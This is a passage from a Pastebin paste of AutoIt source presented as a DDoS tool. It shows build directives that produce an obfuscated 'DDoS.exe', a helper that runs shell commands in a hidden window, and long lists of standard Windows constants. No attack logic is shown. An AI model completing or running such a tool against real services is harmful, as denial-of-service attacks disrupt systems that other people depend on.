Advertisement
Guest User

Source DDoS duykhang

a guest
Mar 6th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 185.51 KB | None | 0 0
  1. #Region
  2. #AutoIt3Wrapper_Icon=..\..\..\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico
  3. #AutoIt3Wrapper_OutFile=DDoS.exe
  4. #AutoIt3Wrapper_UseUpx=n
  5. #AutoIt3Wrapper_Res_Comment=Simple DDoS
  6. #AutoIt3Wrapper_Res_Description=Simple DDoS
  7. #AutoIt3Wrapper_Res_Fileversion=1.0
  8. #AutoIt3Wrapper_Res_LegalCopyright=Simple DDoS
  9. #AutoIt3Wrapper_Run_Tidy=y
  10. #AutoIt3Wrapper_Run_Obfuscator=y
  11. #EndRegion
  12. Global Const $process_terminate = 1
  13. Global Const $process_create_thread = 2
  14. Global Const $process_set_sessionid = 4
  15. Global Const $process_vm_operation = 8
  16. Global Const $process_vm_read = 16
  17. Global Const $process_vm_write = 32
  18. Global Const $process_dup_handle = 64
  19. Global Const $process_create_process = 128
  20. Global Const $process_set_quota = 256
  21. Global Const $process_set_information = 512
  22. Global Const $process_query_information = 1024
  23. Global Const $process_suspend_resume = 2048
  24. Global Const $process_all_access = 2035711
  25.  
  26. Func _processgetname($i_pid)
  27. If NOT ProcessExists($i_pid) Then Return SetError(1, 0, "")
  28. If NOT @error Then
  29. Local $a_processes = ProcessList()
  30. For $i = 1 To $a_processes[0][0]
  31. If $a_processes[$i][1] = $i_pid Then Return $a_processes[$i][0]
  32. Next
  33. EndIf
  34. Return SetError(1, 0, "")
  35. EndFunc
  36.  
  37. Func _processgetpriority($vprocess)
  38. Local $ierror, $iextended, $ireturn = -1
  39. Local $i_pid = ProcessExists($vprocess)
  40. If NOT $i_pid Then Return SetError(1, 0, -1)
  41. Local $hdll = DllOpen("kernel32.dll")
  42. Do
  43. Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid)
  44. If @error Then
  45. $ierror = @error
  46. $iextended = @extended
  47. ExitLoop
  48. EndIf
  49. If NOT $aprocesshandle[0] Then ExitLoop
  50. Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0])
  51. If @error Then
  52. $ierror = @error
  53. $iextended = @extended
  54. EndIf
  55. DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0])
  56. If $ierror Then ExitLoop
  57. Switch $apriority[0]
  58. Case 64
  59. $ireturn = 0
  60. Case 16384
  61. $ireturn = 1
  62. Case 32
  63. $ireturn = 2
  64. Case 32768
  65. $ireturn = 3
  66. Case 128
  67. $ireturn = 4
  68. Case 256
  69. $ireturn = 5
  70. Case Else
  71. $ierror = 1
  72. $iextended = $apriority[0]
  73. $ireturn = -1
  74. EndSwitch
  75. Until True
  76. DllClose($hdll)
  77. Return SetError($ierror, $iextended, $ireturn)
  78. EndFunc
  79.  
  80. Func _rundos($scommand)
  81. Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
  82. Return SetError(@error, @extended, $nresult)
  83. EndFunc
  84.  
  85. Global Const $ws_tiled = 0
  86. Global Const $ws_overlapped = 0
  87. Global Const $ws_maximizebox = 65536
  88. Global Const $ws_minimizebox = 131072
  89. Global Const $ws_tabstop = 65536
  90. Global Const $ws_group = 131072
  91. Global Const $ws_sizebox = 262144
  92. Global Const $ws_thickframe = 262144
  93. Global Const $ws_sysmenu = 524288
  94. Global Const $ws_hscroll = 1048576
  95. Global Const $ws_vscroll = 2097152
  96. Global Const $ws_dlgframe = 4194304
  97. Global Const $ws_border = 8388608
  98. Global Const $ws_caption = 12582912
  99. Global Const $ws_overlappedwindow = 13565952
  100. Global Const $ws_tiledwindow = 13565952
  101. Global Const $ws_maximize = 16777216
  102. Global Const $ws_clipchildren = 33554432
  103. Global Const $ws_clipsiblings = 67108864
  104. Global Const $ws_disabled = 134217728
  105. Global Const $ws_visible = 268435456
  106. Global Const $ws_minimize = 536870912
  107. Global Const $ws_child = 1073741824
  108. Global Const $ws_popup = -2147483648
  109. Global Const $ws_popupwindow = -2138570752
  110. Global Const $ds_modalframe = 128
  111. Global Const $ds_setforeground = 512
  112. Global Const $ds_contexthelp = 8192
  113. Global Const $ws_ex_acceptfiles = 16
  114. Global Const $ws_ex_mdichild = 64
  115. Global Const $ws_ex_appwindow = 262144
  116. Global Const $ws_ex_composited = 33554432
  117. Global Const $ws_ex_clientedge = 512
  118. Global Const $ws_ex_contexthelp = 1024
  119. Global Const $ws_ex_dlgmodalframe = 1
  120. Global Const $ws_ex_leftscrollbar = 16384
  121. Global Const $ws_ex_overlappedwindow = 768
  122. Global Const $ws_ex_right = 4096
  123. Global Const $ws_ex_staticedge = 131072
  124. Global Const $ws_ex_toolwindow = 128
  125. Global Const $ws_ex_topmost = 8
  126. Global Const $ws_ex_transparent = 32
  127. Global Const $ws_ex_windowedge = 256
  128. Global Const $ws_ex_layered = 524288
  129. Global Const $ws_ex_controlparent = 65536
  130. Global Const $ws_ex_layoutrtl = 4194304
  131. Global Const $ws_ex_rtlreading = 8192
  132. Global Const $wm_gettextlength = 14
  133. Global Const $wm_gettext = 13
  134. Global Const $wm_size = 5
  135. Global Const $wm_sizing = 532
  136. Global Const $wm_user = 1024
  137. Global Const $wm_create = 1
  138. Global Const $wm_destroy = 2
  139. Global Const $wm_move = 3
  140. Global Const $wm_activate = 6
  141. Global Const $wm_setfocus = 7
  142. Global Const $wm_killfocus = 8
  143. Global Const $wm_enable = 10
  144. Global Const $wm_setredraw = 11
  145. Global Const $wm_settext = 12
  146. Global Const $wm_paint = 15
  147. Global Const $wm_close = 16
  148. Global Const $wm_queryendsession = 17
  149. Global Const $wm_quit = 18
  150. Global Const $wm_erasebkgnd = 20
  151. Global Const $wm_queryopen = 19
  152. Global Const $wm_syscolorchange = 21
  153. Global Const $wm_endsession = 22
  154. Global Const $wm_showwindow = 24
  155. Global Const $wm_settingchange = 26
  156. Global Const $wm_wininichange = 26
  157. Global Const $wm_devmodechange = 27
  158. Global Const $wm_activateapp = 28
  159. Global Const $wm_fontchange = 29
  160. Global Const $wm_timechange = 30
  161. Global Const $wm_cancelmode = 31
  162. Global Const $wm_ime_startcomposition = 269
  163. Global Const $wm_ime_endcomposition = 270
  164. Global Const $wm_ime_composition = 271
  165. Global Const $wm_ime_keylast = 271
  166. Global Const $wm_setcursor = 32
  167. Global Const $wm_mouseactivate = 33
  168. Global Const $wm_childactivate = 34
  169. Global Const $wm_queuesync = 35
  170. Global Const $wm_getminmaxinfo = 36
  171. Global Const $wm_painticon = 38
  172. Global Const $wm_iconerasebkgnd = 39
  173. Global Const $wm_nextdlgctl = 40
  174. Global Const $wm_spoolerstatus = 42
  175. Global Const $wm_drawitem = 43
  176. Global Const $wm_measureitem = 44
  177. Global Const $wm_deleteitem = 45
  178. Global Const $wm_vkeytoitem = 46
  179. Global Const $wm_chartoitem = 47
  180. Global Const $wm_setfont = 48
  181. Global Const $wm_getfont = 49
  182. Global Const $wm_sethotkey = 50
  183. Global Const $wm_gethotkey = 51
  184. Global Const $wm_querydragicon = 55
  185. Global Const $wm_compareitem = 57
  186. Global Const $wm_getobject = 61
  187. Global Const $wm_compacting = 65
  188. Global Const $wm_commnotify = 68
  189. Global Const $wm_windowposchanging = 70
  190. Global Const $wm_windowposchanged = 71
  191. Global Const $wm_power = 72
  192. Global Const $wm_notify = 78
  193. Global Const $wm_copydata = 74
  194. Global Const $wm_canceljournal = 75
  195. Global Const $wm_inputlangchangerequest = 80
  196. Global Const $wm_inputlangchange = 81
  197. Global Const $wm_tcard = 82
  198. Global Const $wm_help = 83
  199. Global Const $wm_userchanged = 84
  200. Global Const $wm_notifyformat = 85
  201. Global Const $wm_parentnotify = 528
  202. Global Const $wm_entermenuloop = 529
  203. Global Const $wm_exitmenuloop = 530
  204. Global Const $wm_nextmenu = 531
  205. Global Const $wm_capturechanged = 533
  206. Global Const $wm_moving = 534
  207. Global Const $wm_powerbroadcast = 536
  208. Global Const $wm_devicechange = 537
  209. Global Const $wm_mdicreate = 544
  210. Global Const $wm_mdidestroy = 545
  211. Global Const $wm_mdiactivate = 546
  212. Global Const $wm_mdirestore = 547
  213. Global Const $wm_mdinext = 548
  214. Global Const $wm_mdimaximize = 549
  215. Global Const $wm_mditile = 550
  216. Global Const $wm_mdicascade = 551
  217. Global Const $wm_mdiiconarrange = 552
  218. Global Const $wm_mdigetactive = 553
  219. Global Const $wm_mdisetmenu = 560
  220. Global Const $wm_entersizemove = 561
  221. Global Const $wm_exitsizemove = 562
  222. Global Const $wm_dropfiles = 563
  223. Global Const $wm_mdirefreshmenu = 564
  224. Global Const $wm_ime_setcontext = 641
  225. Global Const $wm_ime_notify = 642
  226. Global Const $wm_ime_control = 643
  227. Global Const $wm_ime_compositionfull = 644
  228. Global Const $wm_ime_select = 645
  229. Global Const $wm_ime_char = 646
  230. Global Const $wm_ime_request = 648
  231. Global Const $wm_ime_keydown = 656
  232. Global Const $wm_ime_keyup = 657
  233. Global Const $wm_ncmousehover = 672
  234. Global Const $wm_mousehover = 673
  235. Global Const $wm_ncmouseleave = 674
  236. Global Const $wm_mouseleave = 675
  237. Global Const $wm_wtssession_change = 689
  238. Global Const $wm_tablet_first = 704
  239. Global Const $wm_tablet_last = 735
  240. Global Const $wm_cut = 768
  241. Global Const $wm_copy = 769
  242. Global Const $wm_paste = 770
  243. Global Const $wm_clear = 771
  244. Global Const $wm_undo = 772
  245. Global Const $wm_paletteischanging = 784
  246. Global Const $wm_hotkey = 786
  247. Global Const $wm_palettechanged = 785
  248. Global Const $wm_print = 791
  249. Global Const $wm_printclient = 792
  250. Global Const $wm_appcommand = 793
  251. Global Const $wm_querynewpalette = 783
  252. Global Const $wm_themechanged = 794
  253. Global Const $wm_handheldfirst = 856
  254. Global Const $wm_handheldlast = 863
  255. Global Const $wm_afxfirst = 864
  256. Global Const $wm_afxlast = 895
  257. Global Const $wm_penwinfirst = 896
  258. Global Const $wm_penwinlast = 911
  259. Global Const $wm_contextmenu = 123
  260. Global Const $wm_stylechanging = 124
  261. Global Const $wm_stylechanged = 125
  262. Global Const $wm_displaychange = 126
  263. Global Const $wm_geticon = 127
  264. Global Const $wm_seticon = 128
  265. Global Const $wm_nccreate = 129
  266. Global Const $wm_ncdestroy = 130
  267. Global Const $wm_nccalcsize = 131
  268. Global Const $wm_nchittest = 132
  269. Global Const $wm_ncpaint = 133
  270. Global Const $wm_ncactivate = 134
  271. Global Const $wm_getdlgcode = 135
  272. Global Const $wm_syncpaint = 136
  273. Global Const $wm_ncmousemove = 160
  274. Global Const $wm_nclbuttondown = 161
  275. Global Const $wm_nclbuttonup = 162
  276. Global Const $wm_nclbuttondblclk = 163
  277. Global Const $wm_ncrbuttondown = 164
  278. Global Const $wm_ncrbuttonup = 165
  279. Global Const $wm_ncrbuttondblclk = 166
  280. Global Const $wm_ncmbuttondown = 167
  281. Global Const $wm_ncmbuttonup = 168
  282. Global Const $wm_ncmbuttondblclk = 169
  283. Global Const $wm_ncxbuttondown = 171
  284. Global Const $wm_ncxbuttonup = 172
  285. Global Const $wm_ncxbuttondblclk = 173
  286. Global Const $wm_keydown = 256
  287. Global Const $wm_keyfirst = 256
  288. Global Const $wm_keyup = 257
  289. Global Const $wm_char = 258
  290. Global Const $wm_deadchar = 259
  291. Global Const $wm_syskeydown = 260
  292. Global Const $wm_syskeyup = 261
  293. Global Const $wm_syschar = 262
  294. Global Const $wm_sysdeadchar = 263
  295. Global Const $wm_keylast = 265
  296. Global Const $wm_unichar = 265
  297. Global Const $wm_initdialog = 272
  298. Global Const $wm_command = 273
  299. Global Const $wm_syscommand = 274
  300. Global Const $wm_timer = 275
  301. Global Const $wm_hscroll = 276
  302. Global Const $wm_vscroll = 277
  303. Global Const $wm_initmenu = 278
  304. Global Const $wm_initmenupopup = 279
  305. Global Const $wm_menuselect = 287
  306. Global Const $wm_menuchar = 288
  307. Global Const $wm_enteridle = 289
  308. Global Const $wm_menurbuttonup = 290
  309. Global Const $wm_menudrag = 291
  310. Global Const $wm_menugetobject = 292
  311. Global Const $wm_uninitmenupopup = 293
  312. Global Const $wm_menucommand = 294
  313. Global Const $wm_changeuistate = 295
  314. Global Const $wm_updateuistate = 296
  315. Global Const $wm_queryuistate = 297
  316. Global Const $wm_ctlcolormsgbox = 306
  317. Global Const $wm_ctlcoloredit = 307
  318. Global Const $wm_ctlcolorlistbox = 308
  319. Global Const $wm_ctlcolorbtn = 309
  320. Global Const $wm_ctlcolordlg = 310
  321. Global Const $wm_ctlcolorscrollbar = 311
  322. Global Const $wm_ctlcolorstatic = 312
  323. Global Const $wm_ctlcolor = 25
  324. Global Const $mn_gethmenu = 481
  325. Global Const $wm_app = 32768
  326. Global Const $nm_first = 0
  327. Global Const $nm_outofmemory = $nm_first - 1
  328. Global Const $nm_click = $nm_first - 2
  329. Global Const $nm_dblclk = $nm_first - 3
  330. Global Const $nm_return = $nm_first - 4
  331. Global Const $nm_rclick = $nm_first - 5
  332. Global Const $nm_rdblclk = $nm_first - 6
  333. Global Const $nm_setfocus = $nm_first - 7
  334. Global Const $nm_killfocus = $nm_first - 8
  335. Global Const $nm_customdraw = $nm_first - 12
  336. Global Const $nm_hover = $nm_first - 13
  337. Global Const $nm_nchittest = $nm_first - 14
  338. Global Const $nm_keydown = $nm_first - 15
  339. Global Const $nm_releasedcapture = $nm_first - 16
  340. Global Const $nm_setcursor = $nm_first - 17
  341. Global Const $nm_char = $nm_first - 18
  342. Global Const $nm_tooltipscreated = $nm_first - 19
  343. Global Const $nm_ldown = $nm_first - 20
  344. Global Const $nm_rdown = $nm_first - 21
  345. Global Const $nm_themechanged = $nm_first - 22
  346. Global Const $wm_mousefirst = 512
  347. Global Const $wm_mousemove = 512
  348. Global Const $wm_lbuttondown = 513
  349. Global Const $wm_lbuttonup = 514
  350. Global Const $wm_lbuttondblclk = 515
  351. Global Const $wm_rbuttondown = 516
  352. Global Const $wm_rbuttonup = 517
  353. Global Const $wm_rbuttondblclk = 518
  354. Global Const $wm_mbuttondown = 519
  355. Global Const $wm_mbuttonup = 520
  356. Global Const $wm_mbuttondblclk = 521
  357. Global Const $wm_mousewheel = 522
  358. Global Const $wm_xbuttondown = 523
  359. Global Const $wm_xbuttonup = 524
  360. Global Const $wm_xbuttondblclk = 525
  361. Global Const $wm_mousehwheel = 526
  362. Global Const $ps_solid = 0
  363. Global Const $ps_dash = 1
  364. Global Const $ps_dot = 2
  365. Global Const $ps_dashdot = 3
  366. Global Const $ps_dashdotdot = 4
  367. Global Const $ps_null = 5
  368. Global Const $ps_insideframe = 6
  369. Global Const $lwa_alpha = 2
  370. Global Const $lwa_colorkey = 1
  371. Global Const $rgn_and = 1
  372. Global Const $rgn_or = 2
  373. Global Const $rgn_xor = 3
  374. Global Const $rgn_diff = 4
  375. Global Const $rgn_copy = 5
  376. Global Const $errorregion = 0
  377. Global Const $nullregion = 1
  378. Global Const $simpleregion = 2
  379. Global Const $complexregion = 3
  380. Global Const $transparent = 1
  381. Global Const $opaque = 2
  382. Global Const $ccm_first = 8192
  383. Global Const $ccm_getunicodeformat = ($ccm_first + 6)
  384. Global Const $ccm_setunicodeformat = ($ccm_first + 5)
  385. Global Const $ccm_setbkcolor = $ccm_first + 1
  386. Global Const $ccm_setcolorscheme = $ccm_first + 2
  387. Global Const $ccm_getcolorscheme = $ccm_first + 3
  388. Global Const $ccm_getdroptarget = $ccm_first + 4
  389. Global Const $ccm_setwindowtheme = $ccm_first + 11
  390. Global Const $ga_parent = 1
  391. Global Const $ga_root = 2
  392. Global Const $ga_rootowner = 3
  393. Global Const $sm_cxscreen = 0
  394. Global Const $sm_cyscreen = 1
  395. Global Const $sm_cxvscroll = 2
  396. Global Const $sm_cyhscroll = 3
  397. Global Const $sm_cycaption = 4
  398. Global Const $sm_cxborder = 5
  399. Global Const $sm_cyborder = 6
  400. Global Const $sm_cxdlgframe = 7
  401. Global Const $sm_cydlgframe = 8
  402. Global Const $sm_cyvthumb = 9
  403. Global Const $sm_cxhthumb = 10
  404. Global Const $sm_cxicon = 11
  405. Global Const $sm_cyicon = 12
  406. Global Const $sm_cxcursor = 13
  407. Global Const $sm_cycursor = 14
  408. Global Const $sm_cymenu = 15
  409. Global Const $sm_cxfullscreen = 16
  410. Global Const $sm_cyfullscreen = 17
  411. Global Const $sm_cykanjiwindow = 18
  412. Global Const $sm_mousepresent = 19
  413. Global Const $sm_cyvscroll = 20
  414. Global Const $sm_cxhscroll = 21
  415. Global Const $sm_debug = 22
  416. Global Const $sm_swapbutton = 23
  417. Global Const $sm_reserved1 = 24
  418. Global Const $sm_reserved2 = 25
  419. Global Const $sm_reserved3 = 26
  420. Global Const $sm_reserved4 = 27
  421. Global Const $sm_cxmin = 28
  422. Global Const $sm_cymin = 29
  423. Global Const $sm_cxsize = 30
  424. Global Const $sm_cysize = 31
  425. Global Const $sm_cxframe = 32
  426. Global Const $sm_cyframe = 33
  427. Global Const $sm_cxmintrack = 34
  428. Global Const $sm_cymintrack = 35
  429. Global Const $sm_cxdoubleclk = 36
  430. Global Const $sm_cydoubleclk = 37
  431. Global Const $sm_cxiconspacing = 38
  432. Global Const $sm_cyiconspacing = 39
  433. Global Const $sm_menudropalignment = 40
  434. Global Const $sm_penwindows = 41
  435. Global Const $sm_dbcsenabled = 42
  436. Global Const $sm_cmousebuttons = 43
  437. Global Const $sm_secure = 44
  438. Global Const $sm_cxedge = 45
  439. Global Const $sm_cyedge = 46
  440. Global Const $sm_cxminspacing = 47
  441. Global Const $sm_cyminspacing = 48
  442. Global Const $sm_cxsmicon = 49
  443. Global Const $sm_cysmicon = 50
  444. Global Const $sm_cysmcaption = 51
  445. Global Const $sm_cxsmsize = 52
  446. Global Const $sm_cysmsize = 53
  447. Global Const $sm_cxmenusize = 54
  448. Global Const $sm_cymenusize = 55
  449. Global Const $sm_arrange = 56
  450. Global Const $sm_cxminimized = 57
  451. Global Const $sm_cyminimized = 58
  452. Global Const $sm_cxmaxtrack = 59
  453. Global Const $sm_cymaxtrack = 60
  454. Global Const $sm_cxmaximized = 61
  455. Global Const $sm_cymaximized = 62
  456. Global Const $sm_network = 63
  457. Global Const $sm_cleanboot = 67
  458. Global Const $sm_cxdrag = 68
  459. Global Const $sm_cydrag = 69
  460. Global Const $sm_showsounds = 70
  461. Global Const $sm_cxmenucheck = 71
  462. Global Const $sm_cymenucheck = 72
  463. Global Const $sm_slowmachine = 73
  464. Global Const $sm_mideastenabled = 74
  465. Global Const $sm_mousewheelpresent = 75
  466. Global Const $sm_xvirtualscreen = 76
  467. Global Const $sm_yvirtualscreen = 77
  468. Global Const $sm_cxvirtualscreen = 78
  469. Global Const $sm_cyvirtualscreen = 79
  470. Global Const $sm_cmonitors = 80
  471. Global Const $sm_samedisplayformat = 81
  472. Global Const $sm_immenabled = 82
  473. Global Const $sm_cxfocusborder = 83
  474. Global Const $sm_cyfocusborder = 84
  475. Global Const $sm_tabletpc = 86
  476. Global Const $sm_mediacenter = 87
  477. Global Const $sm_starter = 88
  478. Global Const $sm_serverr2 = 89
  479. Global Const $sm_cmetrics = 90
  480. Global Const $sm_remotesession = 4096
  481. Global Const $sm_shuttingdown = 8192
  482. Global Const $sm_remotecontrol = 8193
  483. Global Const $sm_caretblinkingenabled = 8194
  484. Global Const $blackness = 66
  485. Global Const $captureblt = 1073741824
  486. Global Const $dstinvert = 5570569
  487. Global Const $mergecopy = 12583114
  488. Global Const $mergepaint = 12255782
  489. Global Const $nomirrorbitmap = -2147483648
  490. Global Const $notsrccopy = 3342344
  491. Global Const $notsrcerase = 1114278
  492. Global Const $patcopy = 15728673
  493. Global Const $patinvert = 5898313
  494. Global Const $patpaint = 16452105
  495. Global Const $srcand = 8913094
  496. Global Const $srccopy = 13369376
  497. Global Const $srcerase = 4457256
  498. Global Const $srcinvert = 6684742
  499. Global Const $srcpaint = 15597702
  500. Global Const $whiteness = 16711778
  501. Global Const $dt_bottom = 8
  502. Global Const $dt_calcrect = 1024
  503. Global Const $dt_center = 1
  504. Global Const $dt_editcontrol = 8192
  505. Global Const $dt_end_ellipsis = 32768
  506. Global Const $dt_expandtabs = 64
  507. Global Const $dt_externalleading = 512
  508. Global Const $dt_hideprefix = 1048576
  509. Global Const $dt_internal = 4096
  510. Global Const $dt_left = 0
  511. Global Const $dt_modifystring = 65536
  512. Global Const $dt_noclip = 256
  513. Global Const $dt_nofullwidthcharbreak = 524288
  514. Global Const $dt_noprefix = 2048
  515. Global Const $dt_path_ellipsis = 16384
  516. Global Const $dt_prefixonly = 2097152
  517. Global Const $dt_right = 2
  518. Global Const $dt_rtlreading = 131072
  519. Global Const $dt_singleline = 32
  520. Global Const $dt_tabstop = 128
  521. Global Const $dt_top = 0
  522. Global Const $dt_vcenter = 4
  523. Global Const $dt_wordbreak = 16
  524. Global Const $dt_word_ellipsis = 262144
  525. Global Const $rdw_erase = 4
  526. Global Const $rdw_frame = 1024
  527. Global Const $rdw_internalpaint = 2
  528. Global Const $rdw_invalidate = 1
  529. Global Const $rdw_noerase = 32
  530. Global Const $rdw_noframe = 2048
  531. Global Const $rdw_nointernalpaint = 16
  532. Global Const $rdw_validate = 8
  533. Global Const $rdw_erasenow = 512
  534. Global Const $rdw_updatenow = 256
  535. Global Const $rdw_allchildren = 128
  536. Global Const $rdw_nochildren = 64
  537. Global Const $wm_renderformat = 773
  538. Global Const $wm_renderallformats = 774
  539. Global Const $wm_destroyclipboard = 775
  540. Global Const $wm_drawclipboard = 776
  541. Global Const $wm_paintclipboard = 777
  542. Global Const $wm_vscrollclipboard = 778
  543. Global Const $wm_sizeclipboard = 779
  544. Global Const $wm_askcbformatname = 780
  545. Global Const $wm_changecbchain = 781
  546. Global Const $wm_hscrollclipboard = 782
  547. Global Const $hterror = -2
  548. Global Const $httransparent = -1
  549. Global Const $htnowhere = 0
  550. Global Const $htclient = 1
  551. Global Const $htcaption = 2
  552. Global Const $htsysmenu = 3
  553. Global Const $htgrowbox = 4
  554. Global Const $htsize = $htgrowbox
  555. Global Const $htmenu = 5
  556. Global Const $hthscroll = 6
  557. Global Const $htvscroll = 7
  558. Global Const $htminbutton = 8
  559. Global Const $htmaxbutton = 9
  560. Global Const $htleft = 10
  561. Global Const $htright = 11
  562. Global Const $httop = 12
  563. Global Const $httopleft = 13
  564. Global Const $httopright = 14
  565. Global Const $htbottom = 15
  566. Global Const $htbottomleft = 16
  567. Global Const $htbottomright = 17
  568. Global Const $htborder = 18
  569. Global Const $htreduce = $htminbutton
  570. Global Const $htzoom = $htmaxbutton
  571. Global Const $htsizefirst = $htleft
  572. Global Const $htsizelast = $htbottomright
  573. Global Const $htobject = 19
  574. Global Const $htclose = 20
  575. Global Const $hthelp = 21
  576. Global Const $color_scrollbar = 0
  577. Global Const $color_background = 1
  578. Global Const $color_activecaption = 2
  579. Global Const $color_inactivecaption = 3
  580. Global Const $color_menu = 4
  581. Global Const $color_window = 5
  582. Global Const $color_windowframe = 6
  583. Global Const $color_menutext = 7
  584. Global Const $color_windowtext = 8
  585. Global Const $color_captiontext = 9
  586. Global Const $color_activeborder = 10
  587. Global Const $color_inactiveborder = 11
  588. Global Const $color_appworkspace = 12
  589. Global Const $color_highlight = 13
  590. Global Const $color_highlighttext = 14
  591. Global Const $color_btnface = 15
  592. Global Const $color_btnshadow = 16
  593. Global Const $color_graytext = 17
  594. Global Const $color_btntext = 18
  595. Global Const $color_inactivecaptiontext = 19
  596. Global Const $color_btnhighlight = 20
  597. Global Const $color_3ddkshadow = 21
  598. Global Const $color_3dlight = 22
  599. Global Const $color_infotext = 23
  600. Global Const $color_infobk = 24
  601. Global Const $color_hotlight = 26
  602. Global Const $color_gradientactivecaption = 27
  603. Global Const $color_gradientinactivecaption = 28
  604. Global Const $color_menuhilight = 29
  605. Global Const $color_menubar = 30
  606. Global Const $color_desktop = 1
  607. Global Const $color_3dface = 15
  608. Global Const $color_3dshadow = 16
  609. Global Const $color_3dhighlight = 20
  610. Global Const $color_3dhilight = 20
  611. Global Const $color_btnhilight = 20
  612. Global Const $hinst_commctrl = -1
  613. Global Const $idb_std_small_color = 0
  614. Global Const $idb_std_large_color = 1
  615. Global Const $idb_view_small_color = 4
  616. Global Const $idb_view_large_color = 5
  617. Global Const $idb_hist_small_color = 8
  618. Global Const $idb_hist_large_color = 9
  619. Global Const $startf_forceofffeedback = 128
  620. Global Const $startf_forceonfeedback = 64
  621. Global Const $startf_runfullscreen = 32
  622. Global Const $startf_usecountchars = 8
  623. Global Const $startf_usefillattribute = 16
  624. Global Const $startf_usehotkey = 512
  625. Global Const $startf_useposition = 4
  626. Global Const $startf_useshowwindow = 1
  627. Global Const $startf_usesize = 2
  628. Global Const $startf_usestdhandles = 256
  629. Global Const $cdds_prepaint = 1
  630. Global Const $cdds_postpaint = 2
  631. Global Const $cdds_preerase = 3
  632. Global Const $cdds_posterase = 4
  633. Global Const $cdds_item = 65536
  634. Global Const $cdds_itemprepaint = 65537
  635. Global Const $cdds_itempostpaint = 65538
  636. Global Const $cdds_itempreerase = 65539
  637. Global Const $cdds_itemposterase = 65540
  638. Global Const $cdds_subitem = 131072
  639. Global Const $cdis_selected = 1
  640. Global Const $cdis_grayed = 2
  641. Global Const $cdis_disabled = 4
  642. Global Const $cdis_checked = 8
  643. Global Const $cdis_focus = 16
  644. Global Const $cdis_default = 32
  645. Global Const $cdis_hot = 64
  646. Global Const $cdis_marked = 128
  647. Global Const $cdis_indeterminate = 256
  648. Global Const $cdis_showkeyboardcues = 512
  649. Global Const $cdis_nearhot = 1024
  650. Global Const $cdis_othersidehot = 2048
  651. Global Const $cdis_drophilited = 4096
  652. Global Const $cdrf_dodefault = 0
  653. Global Const $cdrf_newfont = 2
  654. Global Const $cdrf_skipdefault = 4
  655. Global Const $cdrf_notifypostpaint = 16
  656. Global Const $cdrf_notifyitemdraw = 32
  657. Global Const $cdrf_notifysubitemdraw = 32
  658. Global Const $cdrf_notifyposterase = 64
  659. Global Const $cdrf_doerase = 8
  660. Global Const $cdrf_skippostpaint = 256
  661. Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
  662. Global Const $gui_event_close = -3
  663. Global Const $gui_event_minimize = -4
  664. Global Const $gui_event_restore = -5
  665. Global Const $gui_event_maximize = -6
  666. Global Const $gui_event_primarydown = -7
  667. Global Const $gui_event_primaryup = -8
  668. Global Const $gui_event_secondarydown = -9
  669. Global Const $gui_event_secondaryup = -10
  670. Global Const $gui_event_mousemove = -11
  671. Global Const $gui_event_resized = -12
  672. Global Const $gui_event_dropped = -13
  673. Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
  674. Global Const $gui_avistop = 0
  675. Global Const $gui_avistart = 1
  676. Global Const $gui_aviclose = 2
  677. Global Const $gui_checked = 1
  678. Global Const $gui_indeterminate = 2
  679. Global Const $gui_unchecked = 4
  680. Global Const $gui_dropaccepted = 8
  681. Global Const $gui_nodropaccepted = 4096
  682. Global Const $gui_acceptfiles = $gui_dropaccepted
  683. Global Const $gui_show = 16
  684. Global Const $gui_hide = 32
  685. Global Const $gui_enable = 64
  686. Global Const $gui_disable = 128
  687. Global Const $gui_focus = 256
  688. Global Const $gui_nofocus = 8192
  689. Global Const $gui_defbutton = 512
  690. Global Const $gui_expand = 1024
  691. Global Const $gui_ontop = 2048
  692. Global Const $gui_fontitalic = 2
  693. Global Const $gui_fontunder = 4
  694. Global Const $gui_fontstrike = 8
  695. Global Const $gui_dockauto = 1
  696. Global Const $gui_dockleft = 2
  697. Global Const $gui_dockright = 4
  698. Global Const $gui_dockhcenter = 8
  699. Global Const $gui_docktop = 32
  700. Global Const $gui_dockbottom = 64
  701. Global Const $gui_dockvcenter = 128
  702. Global Const $gui_dockwidth = 256
  703. Global Const $gui_dockheight = 512
  704. Global Const $gui_docksize = 768
  705. Global Const $gui_dockmenubar = 544
  706. Global Const $gui_dockstatebar = 576
  707. Global Const $gui_dockall = 802
  708. Global Const $gui_dockborders = 102
  709. Global Const $gui_gr_close = 1
  710. Global Const $gui_gr_line = 2
  711. Global Const $gui_gr_bezier = 4
  712. Global Const $gui_gr_move = 6
  713. Global Const $gui_gr_color = 8
  714. Global Const $gui_gr_rect = 10
  715. Global Const $gui_gr_ellipse = 12
  716. Global Const $gui_gr_pie = 14
  717. Global Const $gui_gr_dot = 16
  718. Global Const $gui_gr_pixel = 18
  719. Global Const $gui_gr_hint = 20
  720. Global Const $gui_gr_refresh = 22
  721. Global Const $gui_gr_pensize = 24
  722. Global Const $gui_gr_nobkcolor = -2
  723. Global Const $gui_bkcolor_default = -1
  724. Global Const $gui_bkcolor_transparent = -2
  725. Global Const $gui_bkcolor_lv_alternate = -33554432
  726. Global Const $gui_ws_ex_parentdrag = 1048576
  727. Global Const $cb_err = -1
  728. Global Const $cb_errattribute = -3
  729. Global Const $cb_errrequired = -4
  730. Global Const $cb_errspace = -2
  731. Global Const $cb_okay = 0
  732. Global Const $state_system_invisible = 32768
  733. Global Const $state_system_pressed = 8
  734. Global Const $cbs_autohscroll = 64
  735. Global Const $cbs_disablenoscroll = 2048
  736. Global Const $cbs_dropdown = 2
  737. Global Const $cbs_dropdownlist = 3
  738. Global Const $cbs_hasstrings = 512
  739. Global Const $cbs_lowercase = 16384
  740. Global Const $cbs_nointegralheight = 1024
  741. Global Const $cbs_oemconvert = 128
  742. Global Const $cbs_ownerdrawfixed = 16
  743. Global Const $cbs_ownerdrawvariable = 32
  744. Global Const $cbs_simple = 1
  745. Global Const $cbs_sort = 256
  746. Global Const $cbs_uppercase = 8192
  747. Global Const $cbm_first = 5888
